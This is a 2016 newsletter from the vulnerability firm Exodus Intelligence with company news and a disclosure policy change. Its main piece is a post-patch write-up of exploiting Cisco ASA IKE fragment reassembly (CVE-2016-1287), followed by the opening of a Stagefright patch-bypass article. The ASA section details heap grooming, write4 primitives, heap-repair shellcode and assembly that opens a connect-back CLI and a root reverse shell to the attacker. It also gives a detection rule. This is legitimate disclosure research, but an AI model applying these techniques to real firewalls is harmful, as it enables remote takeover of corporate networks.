Exodus Intelligence April 2016 newsletter

Threat intelligence

Resolution to zero-day debate not in cards for foreseeable future

Logan Brown and Ted Ross weigh in with ThreatPost
ThreatPost, April 22 2016 | Was the Federal Bureau of Investigation justified in paying over $1.3 million for a hacking tool that opened the iPhone 5c of the San Bernardino shooter? For some in the security community, the answer is a resounding yes. For others, the answer is not so clear-cut.

Ted Ross, CEO of Exodus Intelligence, which has its own vulnerability purchasing program, is in favor of the FBI’s reliance on zero-day community. He said it’s unrealistic to think that the US government alone can solve cyber security issues. “A solution (in cases like this) will only work with good collaboration between government and industry,” Ross said.

“I would actually think this is much more cost efficient to purchase the capability rather than it would be to hire, train and retain the talent capable of such research,” said Logan Brown, president of Exodus Intelligence. “There is a very finite amount of people in the world that can do this research. Recruiting, paying, and retaining these elite few is no easy or cheap task.”

See more at: Experts Weigh-In Over FBI $1.3 Million iPhone Zero-Day Payout.


May 1-4, Exodus Intelligence will be in attendance at the 2016 FS-ISAC Annual Summit. One of the FS-ISAC’s major conferences, attendees are comprised of various security technology companies, DHS (as well as other government agencies), and of course, many financial institutions. This is a major industry forum for collaboration on critical security threats facing the global financial sector. The FS-ISAC is known to be the most influential ISAC group, with multiple other ISACs replicating their direction.

Exodus Intelligence will be pleased to meet with customers in attendance at this event. Please email teddy.stevens@exodusintel.com if you are attending the event and would like to meet.


On May 17, Exodus representatives will be in London to attend the 2nd NATO – Industry Threat Vector Analysis Workshop. Several themes will be discussed, such as:

  • NATO and industry views of current and emerging threats
  • Making the Threat Intelligence data actionable
  • Practical outcomes

We look forward to discussions regarding the expanding threat landscape with NATO and UK Government officials.


New capabilities

Exodus partners with Cisco
Exodus now has a formal joint research relationship with Cisco. As a result, we have the ability to sell and distribute SNORT signatures (which have been thoroughly tested) for our 0-day and N-day vulnerabilities.

Snort’s open source network-based intrusion detection system (NIDS) has the ability to perform real-time traffic analysis and packet logging on Internet Protocol (IP) networks. Snort performs protocol analysis, content searching and matching. These basic services have many purposes including application-aware triggered quality of service. This feature coupled with Exodus 0-day/N-day signatures will allow customers to slow down attack traffic without alerting the attacker (rate-limit to not allow large file transfers), which buys time for take-down operations.

The program can also be used to detect probes or attacks, including, but not limited to, operating system fingerprinting attempts, common gateway interface, buffer overflows, server message block probes, and stealth port scans.

Snort can be configured in three main modes: sniffer, packet logger, and network intrusion detection. In sniffer mode, the program will read network packets and display them on the console. In packet logger mode, the program will log packets to the disk. In intrusion detection mode, the program will monitor network traffic and analyze it against a rule set defined by the user. The program will then perform a specific action based on what has been identified. Applying 0-day/N-day signatures to these three modes allows for detection and remediation of advance threats.

The beautiful thing about SNORT, is that most defense/detection products can consume SNORT signatures in some manner. The Exodus 0-Day and N-Day vulnerabilities are now easily made actionable through the use of these signatures.

Machine-to-machine connections
Exodus is proud to announce that we have implemented new data and delivery mechanisms for machine-machine connections. We are now able to share Exodus metadata to various threat intelligence platforms using STIX, CybOX and TAXII in addition to our API.

We chose to embrace STIX/TAXII due to the direction of DHS and the industry at large. From the US-CERT website: “The DHS Office of Cybersecurity and Communications, National Cybersecurity and Communications Integration Center, and US-CERT are leading efforts to automate and structure operational cybersecurity information sharing techniques across the globe:

  • TAXII™, the Trusted Automated eXchange of Indicator Information
  • STIX™, the Structured Threat Information eXpression
  • CybOX™, the Cyber Observable eXpression

International in scope and free for public use, TAXII, STIX and CybOX are community-driven technical specifications designed to enable automated information sharing for cybersecurity situational awareness, real-time network defense and sophisticated threat analysis.”

For more details, please visit:

CPE identifiers and CVSS scores

Along with the new Exodus metadata, we are now able to provide CPE (Common Platform Enumeration) identifiers and CVSS scores. This allows our customers to understand when new Exodus vulnerabilities could impact their specific applications (through the use of a threat intelligence platform) making both the 0-day and N-day vulnerabilities relevant to our customer’s environments.

New hires

Joel Bagnal: Government Security Consultant
Over the past seven years, Joel has served in cybersecurity leadership roles with Extenix LLC, Detica Inc., BAE Systems and L-3 Communications. Previously, Joel served as the Deputy Assistant to the President of the United States for Homeland Security and Counterterrorism, holding key roles as chair of the Homeland Security Council Deputies Committee and co-chair of the Counterterrorism Security Group. During his tenure, Joel developed the National Strategy for Homeland Security and Presidential Directives on cybersecurity, continuity of government, incident management, public health and medical preparedness, information sharing, and emergency preparedness planning. Additional roles include the Special Assistant to the President for Homeland Security, Senior Director for Threat Countermeasures Incident Management and Emergency Preparedness, and Chief of Staff and Executive Secretary of the Homeland Security Council. He also served as the Special Assistant to the President and Senior Director for Domestic Counterterrorism where he held a key role as the principal advisor to the Assistant to the President for Homeland Security for all matters pertaining to prevention of terrorism against the United States homeland. Moreover, Joel coordinated national response actions to terrorist threats and incidents that impacted homeland security including adjustments to the National Threat Level.

Mario Pirker: Security Researcher
Mario comes from a mixed background of both security and software engineering. At Barracuda Networks, he focused on a range of Linux Kernel mode development, as well as vulnerability assessment and reverse engineering. His primary areas of research center on vulnerability discovery and exploitation. We are excited to have Mario on the Exodus N-Day team!

Terry Smith: VP of Business Development
Terry Smith joined the company on April 18th to help build the technology alliances and partnership program. Terry recently left IBM as the dedicated Big Data and Analytics account executive for the HP account.  Prior to IBM, Terry held business development and sales leadership roles with Fortify Software, VeriSign, iDEFENSE and McAfee. He brings over 18 years experience in technology sales, strategic alliances and business development to the Exodus team. In his spare time, he likes to play golf, travel and spend time with his wife and daughter.


Exodus is currently accepting applications for Zero-day and N-day researchers as well as qualified candidates for our Spring 2016 Internship program hosted at our Headquarters in Austin, Texas.


Changing to Coordinated Disclosure

Last week Exodus finished disclosure on CVE-2016-1287 “Cisco ASA Software IKEv1 and IKEv2 Buffer Overflow Vulnerability” officially marking the first time that we have gone through the process of coordinated disclosure. This disclosure represents a change in our internal policies and warrants discussion regarding the particulars of the change and what it means for Exodus going forward.

Previously, Exodus had an official policy of non-disclosure. Our main customer base is composed of defensive-product vendors that use the detailed research and analysis of vulnerabilities that Exodus discovers in order to implement 0-day protection measures inside their product. A smaller segment of our customer base consists of organizations with a mature security program and penetration-testing organizations looking to leverage 0-Day to implement their own protections and simulate nation-state level attacks to test the veracity of their defense-in-depth measures. The intent behind non-disclosure was to provide maximum value for our customers by ensuring they could use the 0-day for as long as necessary before it was patched. We believed that since defensive security vendors were already releasing mitigating controls, it was a nuanced yet safe trade-off to provide that value for our customers.

We’ve realized 0-day can have quite a long shelf life if left undisclosed. Exodus and our customers have known about some of the 0-day vulnerabilities in our feed for four years. When we reviewed our policy, such a shelf life eclipses the time necessary for our customers to extract value from our feed. Therefore, going forward we will practice coordinated disclosure with vendors.

Our policy will give vendors about 90 days to produce a patch. We will upload an encrypted archive containing all the requisite information on Exodus’ disclosure GitHub repository. Then we will e-mail the vendor with the decryption information for the archive. Once 90 days have expired, we tweet the password to the encrypted archive. We believe this process is the best tradeoff to allow Exodus to disclose vulnerabilities while not impeding our primary duty: to find new 0-day vulnerabilities and prove exploitation for our customers.

Execute My Packet


David Barksdale, Jordan Gruskovnjak, and Alex Wheeler

1. Background

Cisco has issued a fix to address CVE-2016-1287. The Cisco ASA Adaptive Security Appliance is an IP router that acts as an application-aware firewall, network antivirus, intrusion prevention system, and virtual private network (VPN) server. It is advertised as “the industry’s most deployed stateful firewall.” When deployed as a VPN, the device is accessible from the Internet and provides access to a company’s internal networks.

2. Summary

The algorithm for re-assembling IKE payloads fragmented with the Cisco fragmentation protocol contains a bounds-checking flaw that allows a heap buffer to be overflowed with attacker-controlled data. A sequence of payloads with carefully chosen parameters causes a buffer of insufficient size to be allocated in the heap which is then overflowed when fragment payloads are copied into the buffer. Attackers can use this vulnerability to execute arbitrary code on affected devices. This flaw affects IKE versions 1 and 2, but this post will focus on specifics related to version 2.

Background on Cisco’s IKE Fragmentation Implementation

The Cisco IKE fragmentation protocol splits large IKE payloads into fragments, each with the header illustrated in Figure 1.

Cisco IKE fragment

Figure 1: Cisco IKE fragment header

Each fragment is sent to the recipient as an IKE packet with a payload of type 132. When a payload is fragmented a fragment ID is chosen larger than any previous ID to identify the fragment’s reassembly queue. For any reassembly queue all the fragments are the same length, except for possibly the last fragment. Each fragment is assigned a sequence number starting with 1. The last fragment is identified by a value of 1 in the last fragment field. The next payload field contains the payload type that was fragmented.

3. Vulnerability

Each fragment triggers processing by two key functions: ikev2_add_rcv_frag() and ikev2_reassemble_pkt(). The first parses the fragment and maintains fragment reassembly queues. The second checks the queues and performs reassembly when all the fragments have arrived. The second function is called after each fragment is received and only acts when the number of fragments in the reassembly queue matches the sequence number of the fragment with the last fragment flag set.

Below is a snippet of code from ikev2_add_rcv_frag() showing the length check and the calculation for updating the reassembly queue length.

ikev2_add_rcv_frag() - lina version 9.2.4

Figure 2: ikev2_add_rcv_frag() from lina version 9.2.4

While the Cisco fragment length field is 16 bits, Cisco limits queues to of half that size. The check in the code above is performed before a fragment is queued. The following are important items to note for this code snippet.

  • The bounds calculation involves a signed check for a maximum value, but no minimum value.
  • The fragment is assumed to be at least as large as the fragment header, 8 bytes.
  • The total length of the queue only accounts for the payload size, i.e., the header length is subtracted from each fragment before updating the queue’s size for reassembly.

An understanding of the above issues is useful when examining the reassembly for the fragments. The code for reassembly is large, but a relevant snippet from ikev2_reassemble_pkt() is illustrated in Figure 3 for discussion.

ikev2_reassemble_pkt() from lina 9.2.4

Figure 3: ikev2_reassemble_pkt() from lina 9.2.4

The call to my_malloc() is passed the queue length plus a header size. There are several ways to attack this code. The most basic way to attack this code is to create a reassembly queue where one of the fragments has a length less than the default fragment header size of 8 bytes, which underflows the copy length during reassembly. This small value allows the length check (signed) in ikev2_add_rcv_frag() to be passed and the copy length to be larger (underflowed) than the allocated buffer size of: reassembly queue length + 8 in ikev2_reassemble_pkt().

4. Exploitation

After having successfully crafted fragments with length less than 8, the corruption happens during the fragments reassembly. However, the corruption cannot be used as-is beyond a DoS due to the negative copy (access violation). Several steps are discussed below to use the vulnerability to obtain remote code execution.

Crafting Small Fragments

Crafting small fragments (length < 8) can be accomplished by padding the fragment with valid information past where the fragment should end.  For example, even though a fragment of length 1 should not have a size or sequence number, these fields still need valid values. Other fields that are not checked can be padded with random values.

Avoiding the Negative Copy

In order to get remote code execution the negative copy should be avoided. In the interest of brevity we’ll explain the logic and exploitation of it without including the relevant disassembly. Fragments are queued by fragment ID and reassembled using sequence number. All fragments other than the last fragment should have the same size. The following pieces of program logic can be abused to send a sequence of fragments to avoid the negative copy.

  1. When processing a fragment with a fragment ID different than the previous ones, the previous ones are cleared from the reassembly queue and the new one is added, but the previous fragment size is not cleared (reinitialization flaw);
  2. Fragments with a sequence number of 0 can be added to reassembly queues without having their payloads processed, because the reassembly starts with sequence number 1, but their sizes are still included in the total reassembly size calculation (logic flaw);
  3. Multiple fragments with the last fragment bit can be added to a reassembly queue by using the check for sequence number 0 (logic flaw); and
  4. Fragments with sequence numbers after a gap in the sequence numbers will not have their payloads processed, but their sizes are still included in the total reassembly size calculation (input validation flaw).

Given the above, the following sequence of fragments can be sent to avoid the negative copy.

  • Fragment with ID Y, last fragment bit not set, and size N is sent to set the previous size even though this fragment will be cleared from the queue
  • Fragment with ID Z, sequence number 0, size 1, and last fragment bit set is sent to clear previous fragment
  • Fragment with ID Z, sequence number 3, size 1, and last fragment bit set
  • Fragment with ID Z, sequence number 1, size N, and the last fragment bit clear is sent

The above sequence yields the reassembly queue where fragments with sequence numbers 0 and 3 are not reassembled, but each result in -7 being added to the reassembly queue length. Fragment with sequence number 1 is the only one that will be reassembled and N – 8 bytes will be copied from the payload, thus avoiding the negative copy.

Cisco Heap Layout

Some insight of the Cisco heap layout is needed in order to decide what can be achieved with the current memory corruption. The Cisco ASA heap is based on a Doug Lea malloc() implementation. The Cisco heap appends a header and a footer to the classic dlmalloc chunk. The headers and footers add extra information for memory integrity and debugging/troubleshooting purposes. An allocated chunk layout is described below.

(gdb) x/70wx 0xccedf970 – 0x28
0xccedf948: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d0
0xccedf958: 0x00000000 0x00000000 0xccedf818 0xccedfa88
0xccedf968: 0x0875ba64 0xe10deaf4 0x41414141 0x41414141
0xccedf978: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa38: 0x41414141 0x41414141 0xa11ccdef 0xb2ea5e5b

The first 0x28 bytes (in green) are part of the heap header, the 2 last dwords (in blue) belong to the heap footer. The relevant header’s fields from an exploitation perspective are:

  • offset 0x00: Header magic
  • offset 0x04: Size to next block + 3 bits extra information (bit 1: previous block in use / bit 2: Current block in use)
  • offset 0x08: 2nd header magic
  • offset 0x0c: Size of chunk data
  • offset 0x18: “prev” pointer to linked list of allocated chunk of the same size
  • offset 0x1C: “next” pointer to linked list of allocated chunk of the same size

A freed chunk layout is as follows:

(gdb) x/70wx 0xccedf970 – 0x28
0xccedf948: 0xe100d4d0 0x00000101 0xccedf948 0xccedf948
0xccedf958: 0x00000000 0x00000000 0xc8000134 0x00000000
0xccedf968: 0xf3ee0123 0x0877e5bf 0x41414141 0x41414141
0xccedf978: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141
0xccedfa38: 0x41414141 0x41414141 0x5ee33210 0xf3eecdef

Similarly, a freed chunk layout is described below.

  • offset 0x00: Header magic
  • offset 0x04: Size to next block + 3 bits extra information (bit 1: previous block in use / bit 2: Current block in use)
  • offset 0x08: “prev” pointer to linked list of freed chunks of the same size
  • offset 0x0C: “next” pointer to linked list of freed chunks of the same size
  • offset 0x18: “prev” pointer to linked list of allocated chunk of the same size
  • offset 0x1C: “next” pointer to linked list of allocated chunk of the same size

The vulnerable block of size 0xd3 (size used for our exploit, which will make sense later in this post) allocated in the ikev2_get_assembled_pkt() looks as follows:

(gdb) x/70wx 0xcbf3d1a8 – 0x28
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4
0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141
0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd

With the Cisco layout in mind, let’s look at what is located behind the vulnerable chunk:

(gdb) x/70wx 0xcbf3d1a8 – 0x28
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4
0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141
0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd
0xcbf3d280: 0xe100d4d0 0x00000031 // adjacent chunk header’s first two dwords.

The first dword of the vulnerable chunk’s data (in red) is reserved for the total size (0xcb) of the fragment data being copied. The last 2 dwords are respectively the header magic and the chunk size of the adjacent 0x30 bytes freed chunk. With a copy of 0xd3 bytes, the fields in red will be corrupted:

(gdb) x/70wx 0xcbf3d1a8 – 0x28
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4
0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141
0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd
0xcbf3d280: 0xe100d4d0 0x00000031

In the end, the magic from the next chunk’s heap header is corrupted, and eventually 1 byte of the next chunk size field can be corrupted. This means that given a correctly crafted heap layout, it is possible to insert a chunk into a freelist reserved for bigger chunks. The attacker can then claim this chunk with another packet and completely corrupt memory overlapped by the fake bigger chunk as will be explained below.

Crafting the Heap

In order to be able to achieve interesting things, the attacker has to set the heap in a predictable layout. For that, the ikev2_parse_config_payload() function has been used. This function is reached when IKEv2 packets are sent with a Configuration Payload (type 47). The layout of these packets is illustrated in Figure 4.

ike config payload

Figure 4: IKEv2 config payload packet

The IKE v2 Configuration Payload field descriptions are as follows:

  • CFG Type (1 octet) – The type of exchange represented by the Configuration Attributes.
  • RESERVED (3 octets)
  • Configuration Attributes (variable length)

The Configuration Attributes field is of variable length and allows specifying multiple attributes. The Configuration Attributes are illustrated in Figure 5.

IKEv2 Configuration Attributes

Figure 5: IKEv2 Configuration Attributes

The IKEv2 Configuration Attributes field descriptions are as follows:

  • Reserved (1 bit) ⋄ Attribute Type (15 bits) – A unique identifier for each of the Configuration Attribute Types.
  • Length (2 octets) – Length in octets of value.
  • Value (0 or more octets) – The variable-length value of this Configuration Attribute

This will allow the attacker to allocate chunks of arbitrary size with controlled content as after analysing ikev2_parse_config_payload() in Figure 6.

Figure 6: ikev2_parse_config_payload()

Figure 6: ikev2_parse_config_payload() lina 9.2.4

This controlled allocation will allow de-fragmenting the heap and achieving the following heap layout below:

Figure 7:

A Configuration Attributes List packet is sent to the router in order to de-fragment the heap, and get further allocations to be contiguous to one another. A fragment of size 0x100 bytes is then sent. Each time the IKEv2 daemon receives a packet it will allocate 0x100 bytes to handle the packet data. This means that a 0x100 bytes chunk will be allocated as below:

Figure 8:

The fragment of 0x100 bytes will then be allocated next to it:


After the packet is processed, the first 0x100 byte block is freed since its of not in use any longer, leaving a hole between the de-fragmented heap and the 0x100 bytes attacker fragment:


The last fragment of size -7 (with effective size being 0x108 bytes) triggering the overflow is then sent. A 0x100 bytes chunk is allocated to handle the packet, retrieving the 0x100 bytes chunk that has been previously freed:


Since the actual packet data is bigger than 0x100, a chunk of size 0x300 is allocated in order to contain all the UDP fragment data, ending freeing the previously allocated 0x100 bytes chunk. The heap then looks as follows:


A 0x100 bytes hole is then located right before the attacker controlled fragment. ikev2_get_assembled_pkt() will then allocate the vulnerable chunk of 0xd3 size. A chunk of size 0xd0 (because some footer data are used to contain the extra 3 bytes) is returned. Since the heap is de-fragmented, no free chunk is available to handle the request. The 0x100 bytes free block is then split into two block of 0xd0 and 0x30, giving the following heap layout:


The vulnerable my_memcpy() call is then reached and ends up corrupting the “size” field of the adjacent 0x30 bytes free chunk. Arbitrary adjacent chunk “size” field corruption has been achieved.

The corrupted freed 0x30 bytes chunk of the previous sections now looks as follows:

0xcbf3d280: 0xe100d4d0 0x00000061 0xc9109b08 0xc800005c
0xcbf3d290: 0xf3ee0123 0x00000000 0x00000000 0x00000000
0xcbf3d2a0: 0x00000000 0x00000000 0x5ee33210 0xf3eecdef

Note the size field (red) is now 0x61 instead of 0x31. The heap manager will now look for the next chunk, not 0x30 bytes further, but 0x60 bytes (0x61 means 0x60 byte size + previous chunk in use bit set), ending up looking into the attacker’s fragment data. Since the fragment’s data is controlled, a fake heap chunk can be crafted. The 0x60 bytes freed chunk now encompasses a part of the attacker’s fragment chunk’s heap header. The fake heap metadata of the next chunk, just shrinks the size of the fragment to 0x100 bytes to conserve the heap integrity and allow the heap manager to locate the chunk adjacent to the fragment. The heap will then look as follows:

(gdb) x/100wx 0xcbf3d1a8 – 0x28
// Vulnerable chunk
0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3
0xcbf3d190: 0x00000000 0x00000000 0xc8000134 0x00000000
0xcbf3d1a0: 0xf3ee0123 0x0877cbcb 0x000000cb 0x41414141
0xcbf3d270: 0x41414141 0x41414141 0x10000000 0x005ee332
// 0x60 bytes fake chunk
0xcbf3d280: 0xe100d4d0 0x00000061 0xc9109b08 0xc800005c
0xcbf3d290: 0xf3ee0123 0x00000000 0x00000000 0x00000000
0xcbf3d2a0: 0x00000000 0x00000000 0x5ee33210 0xf3eecdef
0xcbf3d2b0: 0x00000030 0x00000132 0xa11c0123 0x00000100
0xcbf3d2c0: 0x00000000 0x00000000 0xcbf3d088 0xc80005e4
0xcbf3d2d0: 0x08768ca9 0x41414141 0x00010000 0xf3eecdef
// Fake header in attacker’s fragment’s data
0xcbf3d2e0: 0x00000160 0x00000102 0xa11c0123 0x000000e0
0xcbf3d2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xcbf3d300: 0x41414141 0x41414141 0x41414141 0x41414141

The copy loop in  ikev2_get_assembled_pkt() is exited due to not finding fragment sequence number 2 and the vulnerable 0xd0 sized heap chunk is freed later in the same function. The allocator will look for freed chunks before and after the vulnerable chunk in order to perform forward and backward coalescing. If the “size” field of the 0x30 bytes chunk wasn’t tampered with, the allocator would have backward coalesced the 0xd0 chunk with the 0x30 bytes chunk leading to the insertion of a 0x100 bytes chunk into the freelist. However since the “size” field is set to 0x60 bytes, a fake chunk of 0x130 bytes will be inserted into the freelist. The fake 0x130 bytes chunk will encompass the beginning of the adjacent 0x100 bytes block controlled by the attacker.

Getting Control

The attacker can now reallocate this block by sending a Configuration Attributes List packet with a bunch of Configuration Attributes of size 0x130. The 0x130 byte chunk will eventually be retrieved, corrupting the header of the attacker’s 0x100 bytes fragment chunk. As explained in the Cisco Heap Layout section, the heap header contains prev and next pointers of previous and next free chunk, whose integrity is not enforced because of the lack of safe-unlinking code. This means that an arbitrary write4 primitive can be achieved during the coalescing of the corrupted chunk. This write4 primitive will be triggered by the attacker at any time by sending a fragment with a different size. When this happens, ikev2_add_rcv_frag() is entered and proceeds to free fragments in the linked list. The corrupted fragment will eventually be freed, triggering the write4 memory corruption. One prerequisite for the write4 technique to work is that both prev and next pointers points to writeable data. This means it is not possible to overwrite a function pointers with an address to some .text section to bootstrap a ROP chain. Fortunately the whole memory is executable and there is no ASLR.

The targeted function pointer is the pointer used to add a fragment to the linked list, which will be called right after the write4 corruption to add the new fragment in the linked list inside ikev2_add_rcv_frag(). The execution flow can then be redirected to an arbitrary writable address in memory. The problem here is the lack of knowledge of the location of attacker’s controlled data at a specific address. To get around this problem, a 2nd write4 corruption will be used during the vulnerable chunk liberation. This is done by targeting other linked list pointers present in the heap header, which are used to keep track of allocated blocks of the same size. The 2nd write4 corruption will be used to craft a fake ROP gadget in memory. The following values were chosen as prev and next pointers for the 2nd write4 corruption: 0xc8002000 and 0xc821ff90 This means that during the 2nd write4 corruption the value 0xc821ff90 will be copied at address 0xc8002000. This address will eventually translate into useful bytecode (nop; jmp dword ptr[ecx]).

The attacker now has a gadget at a known location in writeable memory. The pointers used in the 1st write4 corruption are then set so as to overwrite the targeted function pointer with the address 0xc8002000 containing the ROP gadget. When the control flow is redirected, the program will land at address 0xc8002000 and execute the jmp [ecx] instruction. As can be seen in code snippet above, the ECX register holds a pointer to the newly allocated fragment containing data controlled by the attacker. Arbitrary code execution has been achieved.


Since the Cisco router reboots if the lina process crashes, the heap has to be fixed in order to be able to get a reverse shell back to the attacker. In order to fix the memory, pointers from the context object located in a local stack variable, pointing to the option list linked list, are followed. By following the next pointer of the linked list and checking some values, it is possible to locate the 0x130 byte chunk used to perform the memory corruption. When it’s located its header is set to 0xd0 and the adjacent 0x60 size field is set back to 0x30 bytes. The following is our process continuation shellcode.

0xccc54fc1: mov DWORD PTR [edx],0x9b96790 ; fix corrupted function pointer
0xccc54fc7: mov eax,DWORD PTR [ebp-0x8] ; retrieve structure in stack
0xccc54fca: mov eax,DWORD PTR [eax+0x5c]
0xccc54fcd: mov eax,DWORD PTR [eax+0x4]
0xccc54fd0: mov eax,DWORD PTR [eax+0x8]
0xccc54fd3: mov eax,DWORD PTR [eax+0x4]
0xccc54fd6: mov eax,DWORD PTR [eax] ; go to the “next” linked list element
0xccc54fd8: test eax,eax
0xccc54fda: je 0xccc55017
0xccc54fdc: push eax
0xccc54fdd: mov eax,DWORD PTR [eax+0x8] ; follow some more pointers
0xccc54fe0: mov eax,DWORD PTR [eax+0x4]
0xccc54fe3: lea ebx,[eax+0xd8] ; set ebx to the beginning of the corrupted chunk
0xccc54fe9: pop eax
0xccc54fea: cmp DWORD PTR [ebx],0xe100d4d0 ; ensure we are have the right chunk
0xccc54ff0: jne 0xccc54fd6
0xccc54ff2: cmp DWORD PTR [ebx+0x4],0x31 ; Another check
0xccc54ff6: je 0xccc54fd6
0xccc54ff8: mov eax,ebx
0xccc54ffa: sub eax,0x100 ; Point eax to the beginning of the vulnerable chunk
0xccc54fff: mov DWORD PTR [eax+0x4],0x103 ; Fix heap metadata
0xccc55006: mov DWORD PTR [eax+0xc],0xd0
0xccc5500d: mov DWORD PTR [eax+0xf8],0xa11ccdef

The shellcode fixes the corrupted pointer used to take control of the execution flow. Then it retrieves a local variable which holds pointers to the linked list of Configuration Attributes. By following the linked list and enforcing specific values, the shellcode is able to locate the corrupted chunk in memory, and fix its heap metadata to prevent the process from crashing when the chunk is later freed. Then the real payload is executed which will be addressed in the next section.

Cisco ASA Shellcode

It’s necessary to use several functions of the lina binary to get a reverse shell or Cisco CLI. It is not possible to use a classic connect-back shellcode because the only network device available is the tap device. The lina binary is responsible for the handling of TCP, UDP, e.g connections, acting as a kind of user-land network driver. Cisco uses the “channel” terminology to handle network connections. Since the shellcodes are too big for this post only the general behaviour will be explained here.

Since the IKEv2 Daemon is actually a thread of the lina process, the shellcode starts by spawning a new thread for the Cisco CLI by calling process_create() and allows the IKEv2 daemon to continue to do its job. Then the daemon allocates a TCP channel connecting back to the attacker’s IP address/port by calling alloc_ch():

push eax ; Points to string “tcp/CONNECT/3/”
mov eax, 0x80707f0 ; call alloc_ch()
call eax

The shellcode then sets the channel as responsible for the I/O on stdin/stdout/stderr:

; Set channel as in/out channel for ci/console
mov esi, 0xffffefc8
mov eax, dword ptr gs:[esi]
mov dword ptr [eax + 0x98], ebx ; Points to allocated channel

Then, a structure responsible for the user privileges is allocated, and its privileges are set to 15 (maximum cisco privileges):

mov eax, 0x080F0A80 ; Initialize privileges structure given as parameter
call eax

; Retrieve struct
pop ebx

; Give me full privileges and a cool ‘#’ prompt
mov dword ptr [ebx + 0xc], 0x17ffffff ; Give full privileges
add ebx, 0x14

; Set “enable_15” username
mov dword ptr [ebx], 0x62616e65
mov dword ptr [ebx + 4], 0x315f656c
mov dword ptr [ebx + 0x8], 0x00000035

Finally the shellcode proceeds to call the ci_cons_shell() in order to spawn the Cisco CLI back to the attacker’s computer:

push 0x4
push 0x0a52c160 ; some function
mov eax, 0x080F6820 ; ci_cons_shell
call eax

Which gives the following result:

Type help or ‘?’ for a list of available commands.
ciscoasa# show running-config enable
show running-config enable
enable password 8Ry2YjIyt7RRXU24 encrypted

The reverse shell is trickier to get and ironically probably not as useful as the Cisco CLI. It then enables a hidden SOCKSv5 proxy in the lina process, by calling a function which has been dubbed start_loopback_proxy(). It is now possible to use classic sockets by connecting to the local SOCKSv5 and telling it to connect-back to the attacker computer. Since the SOCKSv5 protocol is not really complicated this is easily done in assembly. The shellcode then proceeds as a classic connect-back shellcode, by dup2()ing the socket with stdin/stdout/stderr and execve()ing “/bin/sh”:

/bin/sh: can’t access tty; job control turned off
# id
uid=0(root) gid=0(root)

5. Detection

Looking for the value of the length field of a Fragment Payload (type 132) IKEv2 or IKEv1 packet allows detecting an exploitation attempt. Any length field with a value < 8 must be considered as an attempt to exploit the vulnerability. The detection also has to deal with the fact that the multiple payloads can be chained inside an IKEv2 packet, and that the Fragment Payload may not be the only/first payload of the packet.



Stagefright: Mission Accomplished?

Update (2015-08-13 1:16pm CST): We’ve been in contact with Zimperium and are working with them to provide coverage for detection of this flaw through their Stagefright Detector app. They have been very responsive (more so than the affected vendor) and we plan to alert them of similar flaws we’ve recently discovered.


“Given enough eyeballs, all bugs are shallow”


That famous quote, from Eric S. Raymond’s book The Cathedral and the Bazaar, has inspired us to release new details on the recent Stagefright vulnerability affecting an estimated 950 million Android devices.

The Stagefright vulnerability was initially reported to Google in April 2015 and then publicly in July, just prior to the widely hyped talk at the Black Hat security conference in Las Vegas. News of the flaw was covered by major media outlets and touted as one of the single worst vulnerabilities to affect the platform.

Along with the initial bug report, a set of patches to stagefright flaws were supplied and accepted by Google. One of these patches, addressing CVE-2015-3824 (aka Google Stagefright ‘tx3g’ MP4 Atom Integer Overflow) was quite simple, consisting of merely 4 lines of changed code, as show below:


Fix integer overflow when handling MPEG4 tx3g atom
When the sum of the 'size' and 'chunk_size' variables is larger than 2^32,
an integer overflow occurs. Using the result value to allocate memory
leads to an undersized buffer allocation and later a potentially
exploitable heap corruption condition. Ensure that integer overflow does
not occur.

Bug: 20923261
Change-Id: Id050a36b33196864bdd98b5ea24241f95a0b5d1f
diff --git a/media/libstagefright/MPEG4Extractor.cpp b/media/libstagefright/MPEG4Extractor.cpp
index 8e47fda..ab1dade 100644
--- a/media/libstagefright/MPEG4Extractor.cpp
+++ b/media/libstagefright/MPEG4Extractor.cpp
@@ -1897,6 +1897,10 @@
                size = 0;
+        	if (SIZE_MAX - chunk_size <= size) {
+            	return ERROR_MALFORMED;
+        	}
         	uint8_t *buffer = new (std::nothrow) uint8_t[size + chunk_size];
         	if (buffer == NULL) {
             	return ERROR_MALFORMED;

According to the original discoverer of the vulnerability, “Basically, within 48 hours I had an email telling me that they had accepted all of the patches I sent them, which was great…You know, that’s a very good feeling.” 

Around July 31st, Exodus Intelligence security researcher Jordan Gruskovnjak noticed that there seemed to be a severe problem with the proposed patch. As the code was not yet shipped to Android devices, we had no ability to verify this authoritatively.

In the following week, hackers converged in Las Vegas for the annual Black Hat conference during which the Stagefright vulnerability received much attention, both during the talk and at the various parties and events.

After the festivities concluded and the supposedly patched firmware was released to the public, Jordan proceeded to investigate whether his assumptions regarding its fallibility were well founded. They were.

With the updated firmware flashed to a Nexus 5 device, Jordan crafted an MP4 to bypass the patch and was greeted with the following crash upon testing:

